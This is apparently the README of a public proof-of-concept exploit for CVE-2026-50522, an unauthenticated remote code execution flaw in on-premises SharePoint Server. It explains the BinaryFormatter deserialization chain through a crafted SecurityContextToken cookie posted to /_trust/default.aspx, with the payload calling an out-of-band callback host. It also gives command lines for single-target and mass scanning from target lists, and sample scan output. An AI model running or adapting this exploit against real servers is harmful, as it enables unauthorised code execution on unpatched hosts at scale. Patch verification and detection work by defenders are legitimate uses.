CVE-2026-50522 Poc : SharePoint Deserialization RCE

SharePoint Server Unauthenticated Remote Code Execution via SecurityContextToken Cookie Deserialization

Mass-scan exploit for CVE-2026-50522 targeting on-premises Microsoft SharePoint Server. Abuses insecure BinaryFormatter deserialization in the /_trust/default.aspx WS-Federation endpoint to achieve unauthenticated code execution via crafted SecurityContextToken cookies.

Note: This project includes ysoserial, a known penetration-testing tool, so your antivirus may flag or quarantine it during download.

Vulnerability Information

• CVE: CVE-2026-50522
• Type: CWE-502 Deserialization of Untrusted Data
• CVSS 3.1: 9.8 (Critical)
• Authentication: Unauthenticated
• Affected:
  • Microsoft SharePoint Server Subscription Edition (before 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (before 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (before 16.0.5561.1001)

How It Works

1. ysoserial.exe generates a BinaryFormatter serialized payload using TypeConfuseDelegate gadget
2. The payload executes Invoke-WebRequest to an out-of-band callback URL
3. The raw bytes are deflated (zlib) and Base64-encoded into a cookie value
4. The cookie is wrapped inside a SecurityContextToken XML structure
5. The token is embedded in a RequestSecurityTokenResponse (WS-Federation)
6. The wresult parameter is POSTed to /_trust/default.aspx
7. SharePoint deserializes the token, triggering code execution in the IIS worker process

Requirements

• Python 3.10+ with requests library
• ysoserial.net (download)
• OOB callback server (Burp Collaborator, interactsh, OAST)

Usage

Single Target

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Mass Scan

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Custom ysoserial Path

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

With Proxy

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Subdomain Callback Mode

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

Options

Callback Modes

Path mode (default):

http://YOUR_ID.oastify.com/10.10.10.5

Subdomain mode:

http://10.10.10.5.YOUR_ID.oastify.com

Example Output

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

References

• Microsoft - CVE-2026-50522
• SOCRadar - CVE-2026-50522 PoC Fuels SharePoint Attacks
• thehackernews - Critical SharePoint RCE CVE-2026-50522 Under Active Exploitation After Public PoC